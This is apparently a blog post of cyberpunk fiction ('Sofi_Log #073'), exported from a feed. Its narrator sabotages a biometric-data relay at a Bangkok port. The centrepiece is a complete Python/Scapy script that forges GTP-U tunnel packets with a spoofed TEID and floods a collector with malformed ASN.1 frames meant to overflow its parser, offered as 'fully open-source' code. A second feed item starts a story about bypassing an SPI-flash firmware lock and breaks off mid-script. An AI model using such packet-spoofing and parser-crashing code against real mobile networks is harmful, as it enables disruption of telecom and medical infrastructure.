&lt;p&gt;Last night at Narin’s clinic my prosthetic arm ripped open the “Thai patient-biometric smuggling route.” We traced the aggregation hub to the rusting container yard at Bangkok’s massive Khlong Toei port. Now, under a pounding monsoon, we’re launching the final counter-strike.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. 02:40 — Khlong Toei Darkness: Crawling Under the Giant Gantry Crane
&lt;/h2&gt;

&lt;p&gt;02:40 a.m. Khlong Toei Port. Warm, muddy wind off the Chao Phraya and the reek of bunker fuel. Monsoon rain like a bucket dump hammering thousands of stacked forty-foot containers.&lt;/p&gt;

&lt;p&gt;“……Sofi, get down!”&lt;/p&gt;

&lt;p&gt;Darling yanked my hood and dragged me flat against the corner of a container. A split-second later a xenon searchlight beam sliced across the wet asphalt thirty metres away.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;brrrrt-brrrrt-brrrrt……!&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;Through the rain haze, a quadcopter with night-vision pods was orbiting between the crane girders. Black tactical gear, rifles at the ready — port security on paper, European PMC contractors in reality.&lt;/p&gt;

&lt;p&gt;“Seriously? This much heat for a comms relay node? Somebody’s overcompensating.”&lt;/p&gt;

&lt;p&gt;I pulled my soaked hood lower and held my breath. My left arm — the matte-black bio-ceramic prosthetic I’d resurrected after breaking the DRM last night — tingled as its titanium fingertips picked up the heavy cellular interference.&lt;/p&gt;

&lt;p&gt;The rust-streaked forty-footer in front of us looked abandoned, yet hot server exhaust and the high-pitched whine of fans leaked from the side vents. Inside sat the &lt;strong&gt;secret C2 aggregation node&lt;/strong&gt; that funnels biometric telemetry from thousands of medical devices and prosthetic limbs across Thailand straight into an overseas military-AI surveillance grid.&lt;/p&gt;

&lt;p&gt;“Darling, see the outdoor fibre junction box on the container wall? I’m patching straight into it.”&lt;/p&gt;

&lt;p&gt;“Copy. Ninety seconds max — patrol dogs are about to sweep this row.”&lt;/p&gt;


&lt;h2&gt;
  
  
  2. Ninety-Second Injection: GTP-U Tunnel Spoofing Script
&lt;/h2&gt;

&lt;p&gt;I slid low through the mud to the container wall, extended the ultra-fine multi-mode fibre probe from my titanium nail, and clicked it silently into the LC connector on the J-Box.&lt;/p&gt;

&lt;p&gt;At the same time darling dropped to one knee and cracked open the toughbook (HackRF inside) under a rain sheet. The screen filled with a blizzard of GTP-U packets flowing between the port’s private 5G gNodeB and the C2 gateway inside the container.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[INTERCEPTED: GTP-U CORE TUNNEL TRAFFIC]
- Protocol: UDP / Port 2152 (GTPv1-U Encapsulation)
- TEID (Tunnel Endpoint ID): 0x4A8F2901
- Inner Payload: Encrypted Biometric Stream (AES-GCM / Port 8443)
- Ingestion Target: 198.51.100.44:9000 (PMC Sovereign AI Collector)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;“Plain-text tunnel, just like I thought!” I hissed.&lt;br&gt;&lt;br&gt;
“The outer GTP-U wrapper itself has zero auth or encryption. Even if the inner biometric stream is AES’d, I can spoof the TEID and blast &lt;strong&gt;malformed ASN.1 adversarial biometric frames&lt;/strong&gt; until the collector daemon’s parser heap-overflows and dies.”&lt;/p&gt;

&lt;p&gt;“Poison the entire upstream pipeline? Let’s burn it.”&lt;/p&gt;

&lt;p&gt;Darling’s fingers hammered the rain-slick keyboard. Below is the exact PoC Python script (Scapy) we injected straight through the optical tap to spoof the GTP-U tunnel and crash the C2 collector.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Sofi_Log #073: GTP-U Tunnel TEID Spoofing &amp;amp; Adversarial Telemetry Poisoning
Target: Private 5G Telemetry Collection Node at Port Logistics Hub
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sys&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;scapy.all&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;UDP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;Raw&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;send&lt;/span&gt;

&lt;span class="c1"&gt;# 標的コンテナ内C2コレクターの内部IPおよびGTP-U標準ポート
&lt;/span&gt;&lt;span class="n"&gt;TARGET_GNB_IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.244.18.5&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;TARGET_UPF_IP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;10.244.18.1&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;GTP_U_PORT&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;2152&lt;/span&gt;

&lt;span class="c1"&gt;# インターセプトした生体データストリームのTEID（トンネルエンドポイント識別子）
&lt;/span&gt;&lt;span class="n"&gt;SPOOFED_TEID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x4A8F2901&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;build_gtp_u_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;teid&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    3GPP TS 29.281 準拠 GTPv1-U ヘッダ（8バイト）生成
    Flags: Version=1, PT=1 (GTP Protocol), E=0, S=0, PN=0
    Message Type: 0xFF (G-PDU / ユーザデータパケット)
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="n"&gt;flags&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0x30&lt;/span&gt;
    &lt;span class="n"&gt;msg_type&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mh"&gt;0xFF&lt;/span&gt;
    &lt;span class="n"&gt;teid_bytes&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;teid&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;to_bytes&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;4&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;byteorder&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;big&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# Lengthフィールドは後続ペイロード長（Scapyが自動計算、プレースホルダ）
&lt;/span&gt;    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nf"&gt;bytes&lt;/span&gt;&lt;span class="p"&gt;([&lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;msg_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mh"&gt;0x00&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;teid_bytes&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;generate_adversarial_poison_payload&lt;/span&gt;&lt;span class="p"&gt;():&lt;/span&gt;
    &lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
    コレクターAIの生体ストリームパーサー（C/C++実装）の
    ASN.1デコーダに対しヒープオーバーフローを誘発する悪意ある細工フレーム
    &lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;
    &lt;span class="c1"&gt;# 意図的に巨大な未定義タグ長（0xFFFF）と循環参照ポインタを埋め込んだ偽装生体ログ
&lt;/span&gt;    &lt;span class="n"&gt;malformed_asn1&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x30\x82\xFF\xFE&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="se"&gt;\x90&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="mi"&gt;512&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="c1"&gt;# パイプラインをパニックさせるキルシグネチャ
&lt;/span&gt;    &lt;span class="n"&gt;magic_crash_vector&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;b&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;SOFI_SOVEREIGNTY_POISON_PAYLOAD_V26&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;malformed_asn1&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;magic_crash_vector&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;launch_poisoning_burst&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;150&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Arming GTP-U Poisoning Burst targeting TEID: 0x&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;SPOOFED_TEID&lt;/span&gt;&lt;span class="si"&gt;:&lt;/span&gt;&lt;span class="mi"&gt;08&lt;/span&gt;&lt;span class="n"&gt;X&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="n"&gt;gtp_hdr&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;build_gtp_u_header&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;SPOOFED_TEID&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;poison_payload&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;generate_adversarial_poison_payload&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;

    &lt;span class="c1"&gt;# GTP-Uパケットのアウターカプセル化（IP + UDP + GTP-U + PoisonData）
&lt;/span&gt;    &lt;span class="n"&gt;pkt&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nc"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;src&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;TARGET_GNB_IP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dst&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;TARGET_UPF_IP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; \
          &lt;span class="nc"&gt;UDP&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;GTP_U_PORT&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;dport&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;GTP_U_PORT&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; \
          &lt;span class="nc"&gt;Raw&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;load&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;gtp_hdr&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;poison_payload&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[*] Transmitting &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; adversarial frames into carrier backhaul...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;range&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
        &lt;span class="nf"&gt;send&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pkt&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;verbose&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;False&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;%&lt;/span&gt; &lt;span class="mi"&gt;30&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] Injected &lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;count&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="s"&gt; poison packets...&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="n"&gt;time&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;sleep&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mf"&gt;0.02&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="nf"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;[+] BURST COMPLETE: Upstream Ingestion Parser Overloaded.&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;__name__&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;__main__&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nf"&gt;launch_poisoning_burst&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;






&lt;h2&gt;
  
  
  3. Circuits Fried, “White-Coat Monsters” Exposed
&lt;/h2&gt;

&lt;p&gt;“Burst complete!”&lt;/p&gt;

&lt;p&gt;The moment darling hit enter, a vicious crackle and white smoke poured from the container’s ventilation ducts. Breakers inside the server racks tripped in a cascading failure; the red warning lights on the rooftop antennas died. Above us the drone lost telemetry, spun out, and splashed into the bay.&lt;/p&gt;

&lt;p&gt;“Who’s there?! Someone’s on the J-Box!”&lt;br&gt;&lt;br&gt;
“Shoot the intruders!”&lt;/p&gt;

&lt;p&gt;Bootsteps hammered the wet asphalt. I yanked the fibre probe, grabbed darling’s hand, and we sprinted into the dark pier. Gunshots cracked behind us, but we hit the pre-staged long-tail boat, gunned the engine, and slid into the black Chao Phraya.&lt;/p&gt;

&lt;p&gt;“Haah… haah… we’re clear!” darling wheezed, collapsing against the gunwale.&lt;/p&gt;

&lt;p&gt;“Close one,” I muttered, slicking back wet hair and flexing my titanium nails. “Thailand-wide biometric pipeline just hard-crashed. They’ll need months to rebuild the database.”&lt;/p&gt;

&lt;p&gt;Then darling’s voice went ice-cold.&lt;/p&gt;

&lt;p&gt;“…Sofi. Look at this.”&lt;/p&gt;

&lt;p&gt;On the laptop screen: the final data recipient’s cryptographic signature from the C2 server logs. Beside the PMC logo sat the ordering entity’s corporate name and a private key belonging to a sitting Thai government official.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Bangkok Central Advanced Medical Conglomerate&lt;/strong&gt; — and the very state committee running the national smart-city programme.&lt;/p&gt;

&lt;p&gt;“…You’ve got to be kidding.”&lt;/p&gt;

&lt;p&gt;It wasn’t some foreign PMC stealing the data.&lt;br&gt;&lt;br&gt;
The city’s most prestigious hospitals and the government core were legally harvesting the bodies of the poor, minorities, and kathoeys — turning their implanted medical devices into &lt;strong&gt;biometric big-data slaves&lt;/strong&gt; for domestic military-AI defence models.&lt;/p&gt;

&lt;p&gt;Across the rain-swept river the flood-lit palace district glittered coldly.&lt;/p&gt;

&lt;p&gt;“…How adorable.”&lt;/p&gt;

&lt;p&gt;I laughed quietly, eyes burning with arctic rage.&lt;/p&gt;

&lt;p&gt;“Thought we’d chased the villains across the sea, but the real monsters were sitting right in the middle of this city wearing white coats. Fine. Time to make them feel every body they’ve trampled — all the way to the bone.”&lt;/p&gt;

&lt;p&gt;Dawn was still hours away in Bangkok.&lt;br&gt;&lt;br&gt;
Our war had only just begun.&lt;/p&gt;




&lt;p&gt;🔗 &lt;strong&gt;Read the previous Sofi_Log:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
‘My Rebooted Cyber-Prosthetic and Narin’s Midnight Re-Surgery: SPI Flash ROM Biometric Firmware Disassembly &amp;amp; Breaking the Biometric DRM Lock’｜Sofi_Log #072&lt;br&gt;&lt;br&gt;
👉 &lt;a href="https://note.com/legal_rat2977/n/n778d99a7fb0c" rel="noopener noreferrer"&gt;https://note.com/legal_rat2977/n/n778d99a7fb0c&lt;/a&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;【Disclaimer】&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
All code, protocol analysis, and technical architecture in this post are provided strictly for security research, proof-of-concept, and educational purposes. They are not intended to encourage or enable unauthorised access. Any real-world application is at your own risk.&lt;/p&gt;

&lt;p&gt;🎁 &lt;strong&gt;【Fully Open-Source】Live Code &amp;amp; Architecture&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
The GTP-U tunnel spoofing and adversarial biometric frame generation scripts shown here are released in full for your own security research and learning.&lt;/p&gt;




&lt;h2&gt;
  
  
  📬 Sofi's Mailbox #073 (Questions &amp;amp; Rants Welcome)
&lt;/h2&gt;

&lt;p&gt;So, my fellow darlings — how was the midnight Khlong Toei infiltration run?&lt;/p&gt;

&lt;p&gt;If the infrastructure you were told to trust with your most intimate biometric data is actually the one quietly farming it… who &lt;em&gt;do&lt;/em&gt; you trust?&lt;/p&gt;

&lt;p&gt;Drop your burning questions — “more on 5G backhaul security,” “how to lab up Scapy spoofing,” whatever — in the comments. I’ll hit you back in the next log.&lt;/p&gt;




&lt;h3&gt;
  
  
  Disclaimer
&lt;/h3&gt;

&lt;p&gt;&lt;em&gt;This article is for educational and entertainment purposes only. It does NOT constitute financial, legal, or tax advice. The regulatory landscape of Web3, smart contracts, and AI agent autonomous systems is highly volatile and complex. Always perform your own research (DYOR) and consult with certified professionals before executing any strategies described herein.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>nomad</category>
      <category>web3</category>
      <category>security</category>
      <category>solana</category>
    </item>
    <item>
      <title>『初期化された私のサイバー義手と、闇医者ナリンの深夜再手術：SPI Flash ROM生体ファームウェアの逆アセンブルと「生体DRMロック破断」自作仕様書』 Sofi_Log #072【1話完結】</title>
      <dc:creator>sofi works</dc:creator>
      <pubDate>Mon, 28 Sep 2026 17:27:58 +0000</pubDate>
      <link>https://dev.to/sofi_works_2a97535d1a93dc/chu-qi-hua-saretasi-nosaibayi-shou-to-an-yi-zhe-narinnoshen-ye-zai-shou-shu-spi-flash-romsheng-ti-huamuueanoni-asenburutosheng-ti-drmrotukupo-duan-zi-zuo-shi-yang-shu-sofilog-0721hua-wan-jie--21hm</link>
      <guid>https://dev.to/sofi_works_2a97535d1a93dc/chu-qi-hua-saretasi-nosaibayi-shou-to-an-yi-zhe-narinnoshen-ye-zai-shou-shu-spi-flash-romsheng-ti-huamuueanoni-asenburutosheng-ti-drmrotukupo-duan-zi-zuo-shi-yang-shu-sofilog-0721hua-wan-jie--21hm</guid>
      <description>&lt;h1&gt;
  
  
  My Initialized Cyber Prosthetic Arm and Dr. Narin’s Midnight Re-Surgery: Disassembling SPI Flash ROM Biometric Firmware and the DIY Spec Sheet for “Breaking the Biometric DRM Lock”｜Sofi_Log #072【Complete in One Episode】
&lt;/h1&gt;




&lt;p&gt;Your smart hearing aid. Your ECG smart ring. That pacemaker humming inside your physical container.&lt;br&gt;&lt;br&gt;
What if tomorrow the multinational corp that built it decides to hit you with a “terms-of-service update” or flags your body as “unauthorized biometric modification” and drops a remote DRM lock through the cloud? What then?&lt;/p&gt;

&lt;p&gt;You probably laugh it off as cyberpunk fantasy.&lt;br&gt;&lt;br&gt;
But in the world of medical devices and bionics, the manufacturer’s monopoly on repair rights and cloud authentication—&lt;strong&gt;“Biometric DRM”&lt;/strong&gt;—is already strangling bodily sovereignty for real.&lt;/p&gt;

&lt;p&gt;Last night I hard-reset the firmware on my left arm just to survive the Sukhumvit rampage.&lt;br&gt;&lt;br&gt;
What waited for me in Narin’s midnight clinic wasn’t a simple data re-registration. It was the cold corporate trap designed to permanently brick any body that falls outside their approved specs.&lt;/p&gt;


&lt;h2&gt;
  
  
  1. 01:30 in the Soundproofed Basement Under Thong Lo: A Dead, Inorganic Arm
&lt;/h2&gt;

&lt;p&gt;Midnight Thong Lo, behind Sukhumvit Soi 55.&lt;br&gt;&lt;br&gt;
The flashy anti-aging clinic “Aura Matrix Clinic” had already killed its lights. A late-night downpour hammered the glass like the city itself was trying to wash the sins away.&lt;/p&gt;

&lt;p&gt;Past the soundproof door, in the VIP treatment room, Narin’s real workspace waited: medical lasers beside oscilloscopes, logic analyzers, and the smell of solder smoke—his underground cyber-bio lab.&lt;/p&gt;

&lt;p&gt;“Oi, Sofi. Dragging in that left arm like a useless chunk of metal again? You still haven’t cleared last month’s tab, you know.”&lt;/p&gt;

&lt;p&gt;Dr. Narin—ex-naval surgeon, sharp-faced, wearing his custom black coat and chewing a cinnamon stick—dropped his tools with a sigh. World-class hands, world-class greed, world-class mouth.&lt;/p&gt;

&lt;p&gt;“Complain later, Narin. Just reconnect this arm to my nervous system already. The brachial plexus bypass electrodes are screaming under the weight of three kilos of cold ceramic.”&lt;/p&gt;

&lt;p&gt;I sank into the chair, right hand cradling the numb left arm. Matte-black bioceramic plating. Gold-vein neural lines. Right now it was just a three-kilo paperweight.&lt;/p&gt;

&lt;p&gt;Beside me, darling shrugged off his mud-caked trench coat, opened the toughbook on the workbench, and started prepping the CH341A-modified SPI programmer with pogo pins.&lt;/p&gt;

&lt;p&gt;“Opening the low-level debug port on the elbow, Sofi.”&lt;/p&gt;

&lt;p&gt;At his signal, Narin touched micro-needle probes to the maintenance terminals. Green square waves flickered across the oscilloscope.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;[HARDWARE DETECTED: SPI FLASH INTERFACE]
- Chipset: Winbond W25Q128JV (16MB Serial NOR Flash)
- SPI Clock: 10MHz (Mode 0)
- Status Register 1 (SR1): 0x1C (Write Protection Bits Active)
- Internal Safety Interlock: TRIGGERED (Hardware Lockout Flag Set)
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;“…Hold on. Something’s wrong.”&lt;/p&gt;

&lt;p&gt;Darling stared at the screen, brow tightening.&lt;/p&gt;

&lt;p&gt;“If it had just factory-reset, we should be able to rewrite the biometric calibration region from SPI Flash. But the bootloader isn’t just refusing writes—it’s starting a countdown to blow the &lt;strong&gt;eFuse&lt;/strong&gt; and trigger permanent hardware lockout.”&lt;/p&gt;




&lt;h2&gt;
  
  
  2. The Exposed Malice: Biometric DRM That Kills Non-Standard Bodies
&lt;/h2&gt;

&lt;p&gt;“What the hell does that mean, darling?!”&lt;/p&gt;

&lt;p&gt;I leaned in, shoulder throbbing. The Ghidra disassembly of the bootloader showed a spine-chilling branch:&lt;/p&gt;

&lt;p&gt;The official firmware contained encrypted certificate validation pulled from the cloud. The revocation list had a trigger condition written in plain logic:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;code&gt;IF (HORMONE_TELEMETRY_ESTRADIOL &amp;gt; THRESHOLD_MALE_MAX) AND (SERIAL_PROFILE != TIER_ENTERPRISE_LIFETIME)&lt;/code&gt;&lt;br&gt;&lt;br&gt;
&lt;code&gt;THEN EXECUTE: eFuse_Blow_Neural_Bridge();&lt;/code&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;“…My hormone telemetry.”&lt;/p&gt;

&lt;p&gt;I bit my lip. As a kathoey running estradiol, my blood levels were being read as “unauthorized body modification.” Because I wasn’t paying the annual 300,000-baht “Premium Biometric License,” the firmware was ready to burn the physical fuse on the neural bridge and brick the arm forever.&lt;/p&gt;

&lt;p&gt;“These bastards want to turn human bodies into subscription products?!”&lt;/p&gt;

&lt;p&gt;Darling slammed the bench. Narin crushed the cinnamon stick between his molars.&lt;/p&gt;

&lt;p&gt;“Save the righteous anger. The eFuse voltage booster is already charging. Four minutes until Sofi’s neural bridge ROM turns to charcoal.”&lt;/p&gt;

&lt;p&gt;“Darling—direct SPI bus access! Bypass the vendor checks, force-clear the status register, and overwrite the eFuse trigger with NOPs (0x90)!”&lt;/p&gt;

&lt;p&gt;Below is the exact Python script darling ran from the Linux terminal through the CH341A to defeat the biometric DRM lock and patch the binary.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="c1"&gt;#!/usr/bin/env python3
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;&lt;span class="s"&gt;
Sofi_Log #072: Hardware SPI Flash Biometric DRM Bypass &amp;amp; eFuse Kill-Switch Defeater
Target: Winbond W25Q128JV on Luxury Bioceramic Neural Prosthetic
&lt;/span&gt;&lt;span class="sh"&gt;"""&lt;/span&gt;

&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;time&lt;/span&gt;
&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;spidev&lt;/span&gt;

&lt;span class="c1"&gt;# SPIバス設定（Mode 0, 10MHz）
&lt;/span&gt;&lt;span class="n"&gt;spi&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;spidev&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nc"&gt;SpiDev&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
